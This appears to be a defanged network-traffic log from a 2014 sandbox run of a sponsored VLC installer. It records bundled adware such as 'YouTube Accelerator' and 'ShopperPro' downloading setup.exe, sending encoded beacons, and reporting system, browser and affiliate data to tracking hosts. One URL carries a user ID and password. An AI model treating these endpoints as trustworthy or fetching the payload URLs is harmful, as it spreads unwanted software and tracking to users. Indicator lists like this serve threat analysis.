hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.4271952659477635
hxxp://sourceapp.info/mg?alpha=ZhhjEzxzI1QbXmBrTDkzWVEhADk4C2cvfB0VPhRiMxxORXklJzRoVWIuCWNuTwt7NUFiGxAVCnIcLz1eZzsCYkN5GiEHPjM2ARNpDEtMKTMkBGVCYHAdNnI8EHZhTCBgST8YOTNkY3hSZFp/FW06DmZGQGZ4VFJzOUNyTm8yW0JCRwgaKwo6PUFzHGsbEhV8NCMAcx8mfR4gOmJDe2AMazQ4RUMK
hxxp://sourceapp.info/mg?alpha=ZhhjEzxQJ1lKeVJXTDkzZ1wwHjxmXmFiOxYCFycjFUwidjg3EX5hJmxYYmcZPnh7N0kXbg0Zen5sRkoqdRBZHkkeT39cNzZ3QzZrVi9y
hxxp://sourceapp.info/mg?alpha=bRBzElF2ChIQKy8oXDheUlkxAVQzewhbViIkWw==
hxxp://sourceapp.info/fp?alpha=cA07ERwsDSQrcHMqFDsTcUloHBxwUS1gXVcMeg5Adxk2EVpyfDxhBgQ5JGJIMWg/QBVtfyEbXHF5Hkl8aClOYGoeB30JaFVULQIKVVlAHAMzDDhdQmcVbGUZDmM7Uwl1WXoFGCB3Mm5wd0onCk4qHjZFY3FzVRdDbQtqTxwnGxkcDGNIKE9PPFQrBE1YHUV/DmMRLUcRdllmfRkHcz8GHSdVdwQdNXA7d3R7X3UVXX8cLhY0YC9XBQwxBgoVVSAGHll6eloqVUR+DXJDEFlOXQN6RgdvAhRrCm5sHQZlOVEWJx87Cn58L284NTFfU0IbeUVqESIeN1YaXWgMaHccMB0eRWdvD3ENHlVUKwk4BAo8YhhHFDxdMW8LanAdBmUwIQIFWxVzbScTKwt+JWVt
hxxp://sourceapp.info/ii?alpha=cwkDEGZlTRFjUzZkLDppck1QHWZzVQ84a0Y6FwEjIVVJVyNmeGA5TTMYSmd3bwlfA08xBjkfJm8OVlJxdEJ+Fw4cCUMOZStDTFY+TlgaPTlxFEAQLCZbW2tgcRF3UQ9wRSwHZ1NoBxIAc1ZtYjNZAndMa3N/ZRYgHXtXTGYrGnITBlsGQwxhJksUFy0ODmt/ZjMXAEgsMVkAHiRaalgHMjUEAEQ2MCFWMHozFHkbNi8BBlsTcX9tDCVpClBNZiEJIGxPTgYkb3Z9FlFcc1oEEic6ZUpCAiZ1ClJxNFwjFw05Mw0dCx5/JkE5Sy4dWwZQdkFSGl0wb2oCRC1QBBkzNQUgTkFBGz8ccGQAV1ZqUFdldHQ3CwRfPWMMV3wlUCVHCykgSB9XMH1lCXYJb0sJSXRzTlgSFwYhOk59LFdCVBUoBTtFRA1oBV0kdxYMA21JBHFoOjNVCAgsNEpbZWYZZgFQbCgJUgZjLHADbA13QR0XPS8eDEIeZSspH0ISSAMOJWpMGW1XTEkUHAZ7F1FQYlMZFm4HQnZ8UU48Tw18ElAhWAEvYw0BVW4nY0lrCQBaU0lCcE0=
hxxp://sourceapp.info/if?alpha=cwkDEGYrUg1NWDt6LDppck1QHWZzVQ84a0Y6FwEjIVVJVyNmeGA5TTMYSmd3bwlfA08xBjkfJm8OVlJxdEJ+Fw4cCUMOZStDTFY+TlgaPTlxFEAQLCZbW2tgcRF3UQ9wRSwHZ1NoBxIAc1ZtYjNZAndMa3N/ZRYgHXtXTGYjD3JzSEhXHXU+exFuTG9TajInIGJNExx8aA9AKmsHZwBWZHRaQQdkOHQBZAp0QglCYnltRBoXKiolUngwTQdaJCMKDVJPewZADH4iSxwXMw8XdHhhMxQTFm86cAk/a2AEFw05MREfU25BLF0yVzYIAwYxKwJUHF5lIC5UcS0CLxUjNAM8T0ZZGyZVPnYKUlYjCBkVPDtnQEYCYzpSBzB2e3cRFC83GwZZPTZ/E2AWcFUYEDcuD0UQWDUmPkc0L14BF2B8TH4OEAtUAlAxfAIYYG1YVSw9PCENYB9jIVkCfAVBNkUHOWxOAUBuImNdZEh8AglHcSIWBlkbc317T3ViD1JGdXZWehYaHwpLDGEoUhEDZ0sEEwMjYFdQXSoDcRE9JFB3Zws4MR0OWnNFZWAVawhba090dA9yEFwqLDhIGHw+THUo
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.5993004843924707
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.5008168943327742
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.17405234581493806
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=4&index_in_screen=1&index_in_session=4&0.9148047476430152
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1418834694&SBPIDS=1	212.143.22.213
hxxp://test.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE	107.20.238.80
hxxp://test.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE	107.20.238.80
hxxp://test.youtubeaccelerator.com/styles/yta.css?v=1	107.20.238.80
hxxp://test.youtubeaccelerator.com/js/jquery-1.8.3.min.js	107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghVy62gheHB56XqnYmheUgSZTerw9Y85XkjLFx9TDtK6LeQ8ORDV5JWIb10zPabuUDGj/UpE9EQd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjb3ujoAScc5tmwnYolfoJZ0vIqime2r2ml8o3lw7CTCarMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgPwH9xv7xo/JOfS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILOntG7/hmYqJpmSeGmIrzgwRCH2XRlb/W	54.197.238.106
hxxp://pagead.l.doubleclick.net/pagead/conversion.js
hxxp://test.youtubeaccelerator.com/img/youtube-accelerator-logo.png	107.20.238.80
hxxp://test.youtubeaccelerator.com/googleanalytics.js	107.20.238.80
hxxp://test.youtubeaccelerator.com/img/accelerating-videos.jpg	107.20.238.80
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js	94.31.29.248
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=eb48a9ab-49f6-4199-935d-4935ca672341&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGViNDhhOWFiLTQ5ZjYtNDE5OS05MzVkLTQ5MzVjYTY3MjM0MSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc1JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1418834696&aff=JSsmtycl&ver=2.0.7791.1444
hxxp://test.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish	107.20.238.80
hxxp://flex.msn.com.nsatc.net/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js	207.46.194.8
hxxp://dpcdn.com/sbitin/javascript.js?hid=eb48a9ab-49f6-4199-935d-4935ca672341&apptitle=ShopperPro&channel=iECHwJSsmtycl
hxxp://test.youtubeaccelerator.com/YTAFinishInstall.gif	107.20.238.80
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=iECHwJSsmtycl&name=ShopperPro
hxxp://pagead.l.doubleclick.net/pagead/conversion/971163981/?random=1418834697240&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1
hxxp://flex.msn.com.nsatc.net/mstag/mstag.1003102000.js	207.46.194.8
hxxp://dpcdn.com/opt_content.js?v=opt_1416232566135&partner=sbitin&channel=sbitiniECHwJSsmtycl&sset=3&appTitle=ShopperPro&sset=3&ip=37.57.16.189
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2fe2abbe32770443
hxxp://cdn.visadd.com.cdn.cloudflare.net/script/14567725608/preload.js?subid=ECHwsmtycl1-eb48a9ab-49f6-4199-935d-4935ca672341	108.162.200.127
hxxp://pagead.l.doubleclick.net/pagead/viewthroughconversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://dfb5uyoqjsg4c.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.192.47.53
hxxp://flex.msn.com.nsatc.net/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900	207.46.194.8
hxxp://www.google.com/ads/conversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=1282287361	173.194.113.212
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://www.youtubeaccelerator.com&xdm_c=default2641&xdm_p=1	94.31.29.248
hxxp://test.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=	107.20.238.80
hxxp://r.msn.com.nsatc.net/?type=1&domainId=3026708&dedup=1&actionid=238238
hxxp://a.visadd.com/script/layer?pid=14567725608&ln=en	142.4.193.32
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j31&a=550335270&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1985718583&cid=1924808397.1418834698&tid=UA-40752970-2&_r=1&z=936260388
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/Beat.js	94.31.29.248
hxxp://www.google.com.ua/ads/conversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=1282287361&ipr=y	173.194.113.216
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://a.visadd.com/script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.34117011861371365&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=ECHwsmtycl1-eb48a9ab-49f6-4199-935d-4935ca672341&um=Powered by Shopper-Pro	142.4.193.32
hxxp://test.youtubeaccelerator.com/favicon.ico	107.20.238.80
hxxp://a1363.g.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1363.g.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1363.g.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?909ce6d1d01ec385
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkY=
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSfAP5wz6TZE9AhTecbrorIUEieTwQU3Igt2WxNPQBQM/EVuXj7weahJK8CExkAAAlE5E3bN0hKjHcAAQAACUQ=
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=65743&appver=0&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&xpiver=0_95&crxver=1_26_16&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350017&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=BadFingerProject&procstarttime=1418834836&procruntime=2&rnd=1418834838
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&campaign=000820&app=65743&bhover=1_35_11_26&xpiver=0_95&crxver=1_26_16&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1418834836&asw=0_1073750533_-2147475456_0&browser=ff,ie,de,te,tc&rnd=1418834836
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs=	178.255.83.1
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEGYj+vysNXV3ox2QweVn6ac=	178.255.83.1
hxxp://cds.c5z6s5a3.hwcdn.net/plugin/apps/65743/manifest/1_35_11_26/ie10/manifest.xml?ver=16&rnd=5532
hxxp://s3-website-us-east-1.amazonaws.com/stats.gif?action=daily&app=65743&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&ver=1_35_11_26&installtime=1418834836&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=16&bgver=1&pluginsver=12&curtime=1418834851&lifetime=15&rnd=4261
hxxp://cds.c5z6s5a3.hwcdn.net/plugin/apps/65743/manifest/1_35_11_26/ie10/manifest.xml?ver=16&rnd=2989
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&app=65743&appver=16&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&xpiver=0_95&crxver=1_26_16&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350017&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=BadFingerProject&ieprofiles=1&chprofiles=na&ffprofiles=1&procstarttime=1418834836&procruntime=25&rnd=1418834861
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=65743&appver=16&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&installtime=1418834836&lifetime=0&silent=1&crtnm=BadFingerProject&procstarttime=1418834836&procruntime=26&rnd=1418834862
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&campaign=000820&app=65743&bhover=1_35_11_26&xpiver=0_95&crxver=1_26_16&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1418834836&asw=0_1073750533_-2147475456_0&iep=1&chp=na&ffp=1&browser=ff,ie,de,te,tc&rnd=1418834836
hxxp://bigspeedpro.com/webplayer/appshat/config.json
hxxp://pagespeed.googlehosted.com/images/64x64.ico
hxxp://pagespeed.googlehosted.com/images/16x16.ico
hxxp://pagespeed.googlehosted.com/home
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/css/A.style.css.pagespeed.cf.aA84XopnLuCplsgxWdKn.css
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/css/A.lightbox.css.pagespeed.cf.ygMGUJc3UJo8nRkTykPW.css
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/js/scripts.js.pagespeed.jm.I_RPxsiRE08xV8BTmz_B.js
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/js/lightbox.js.pagespeed.jm.87aPq22TFLOpRo_q8qwK.js
hxxp://googleapis.l.google.com/css?family=Abel
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/js/jquery.smooth-scroll.min.js.pagespeed.jm.WowFBOF837MdT8jW9Obi.js
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/logo.jpg.pagespeed.ce.Khx_XwXN03oCbtjhN-zG.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/banner/images/assets/b/4/303x148xb43daeae6aca6ab7d6a00084494d81db.png.pagespeed.ic.nnrPCPy1PfNzw7bPygU_.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/banner/images/assets/c/1/303x148xc16ddcefe8d9f0d1f850dfcd8f36687d.jpg.pagespeed.ic.lwAL2oq89B2IQKWYablA.jpg
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/banner/images/assets/5/b/303x148x5b8f93845e4dd380fec57bc644ec49d1.jpg.pagespeed.ic.KJwkbv_hY_qT-vepcZiq.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/f/4/78x78xf4e4b853ddab3b763f0af17d513631bd.png.pagespeed.ic.qOS1_AxoxISP5vyxWYJQ.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/banner/images/assets/1/f/303xNx1f8ffa22b53dfc2f6b7f1850bb6b73e8.png.pagespeed.ic.tFX8jwo12PDh1bULrFCd.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/6/a/78x78x6a12dc1a298e870b610a58a56ba0f5ec.jpg.pagespeed.ic.uwtHBdtZOQtaPxcmCnam.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/4.5stars.jpg.pagespeed.ce.FnZJEV2PTVMznvHxrh21.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/e/5/78x78xe54e8c720dffffa619c3b0eacec9381a.png.pagespeed.ic.ZQdyYxnfLUYUuPTrA-U2.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/0/7/78x78x07fce0a4ff78cc7e6376e227f046ce06.png.pagespeed.ic.hz09jctHczLz0PvLD0tH.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/5.0stars.jpg.pagespeed.ce.c5Mw3vRCV9Ep78xfmv43.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/3.0stars.jpg.pagespeed.ce.NdTKoZKg7fpUU9HjqHGP.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/8/78x78x589b1e936e1f038dc45bd8ffff59b359.png.pagespeed.ic.z-mKIqvmmwfgfqJRMgXY.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/8/3/78x78x83a4cee7a59522b93ed0ae1fa73ce8f3.png.pagespeed.ic.fC57HngUEG5e6KKP2pds.png
hxxp://pagespeed.googlehosted.com/images/loading.gif
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/7/d/78x78x7d4f668f3d1818d01b6b9684b669d0db.png.pagespeed.ic.gGkeGXUraEg5vr5zk3oz.png
hxxp://pagespeed.googlehosted.com/images/close.png
hxxp://googlehosted.l.googleusercontent.com/h/www.appshat.com/images/4.0stars.jpg.pagespeed.ce.7EhkSCmV4fiZvLox5Lxa.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png.pagespeed.ce.0W_R5npG-ygjyX2J47_Z.png
